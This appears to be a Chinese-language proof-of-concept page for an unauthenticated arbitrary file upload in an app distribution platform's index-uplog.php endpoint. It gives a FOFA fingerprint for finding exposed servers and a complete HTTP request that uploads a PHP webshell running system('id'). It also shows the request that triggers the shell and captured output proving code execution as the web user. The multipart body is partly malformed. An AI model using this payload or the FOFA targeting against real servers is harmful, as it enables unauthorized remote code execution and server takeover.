# K8-1开源-App托管服务分发平台-任意文件上传

## 漏洞描述:

App托管服务分发平台 index-uplog.php 接口处存在任意文件上传漏洞,未经身份验证的远程攻击者可利用此漏洞上传webshell政服务器,执行任意代码,从而获取服务器权限。

#### 网站图片:



#### fofa语法:

body="/api/statistics/service-usage-amount"

### 漏洞复现:

#### payload:

```
POST /source/pack/upload/2upload/index-uplog.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9;image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfF7NbGp0PAFq8Mkd
-----WebKitFormBoundary03rNBzFMIytvpWlContent-Disposition: form-data; name="t
-----WebKitFormBoundary03rNBzFMIytvpWhy
Content-Disposition: form-data; name="app"; filename="1.php"
Content-Type: image/jpeg
<?php system("id");unlink(__FILE__);?>
-----WebKitFormBoundary03rNBzFMIytvpWhy--
```

#### 效果图:

```
🔇 🦒 数据包扫描 🤇 美化 熱加载 构造请求 💥
                                                                                                                                  Responses https 32bytes / 59ms
                                                                                                                                                                                            美化 渲染 请
Request
1 POST / source/pack/upload/2upload/index-uplog.php · HTTP/1.1
                                                                                                                                   1 HTTP/1.1-200-0K
                                                                                                                                         Server: nginx
Date: Tue, '25 Jun '2024 01:36:36 GMT
Content-Type: 'text/html; 'charset=UTF-8
Connection: 'keep-alive
       User-Agent: Mozilla/5.0 (Windows NT-10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/
      125.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;
        q=0.8,application/signed-exchange;v=b3;q=0.7
                                                                                                                                         Vary: Accept-Encoding
                                                                                                                                         Strict-Transport-Security: max-age=31536000
Content-Length: 33
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfF7NbGp0PAFq8Mkd
       -----WebKitFormBoundary03rNBzFMIytvpWhy
Content-Disposition: form-data; name="time
                                                                                                                                         {'extension':'php','time':'1-2'}
         -----WebKitFormBoundary03rNBzFMIytvpWhy
 11
       Content-Disposition: form-data; name="app"; filename="1.php"
Content-Type: image/jpeg
 13
 14
        <?php·system("id");unlink(__FILE__);?>
 16
        -----WebKitFormBoundary03rNBzFMIytvpWhy-
```

# 验证url payload:

效果图:

/source/data/tmp/1-2.php

```
1 GET / source/data/tmp/1-2.php · HTTP/1.1
    Host ?: -
```

```
く 〉 数据包扫描 美化 热加载 构造请求 X
                                                      Responses https 45bytes / 71ms
                                                       1 HTTP/1.1-200-0K
                                                              Server: nginx
                                                             Date: *Tue, *25 *Jun *2024 *01:36:40 *GMT

Content-Type: *text/html; *charset=UTF-8
                                                             Connection: keep-alive
                                                             Vary: Accept-Encoding
                                                             Strict-Transport-Security: max-age=31536000
                                                              Content-Length: 45
                                                            uid=1000(www) gid=1000(www) groups=1000(www)
```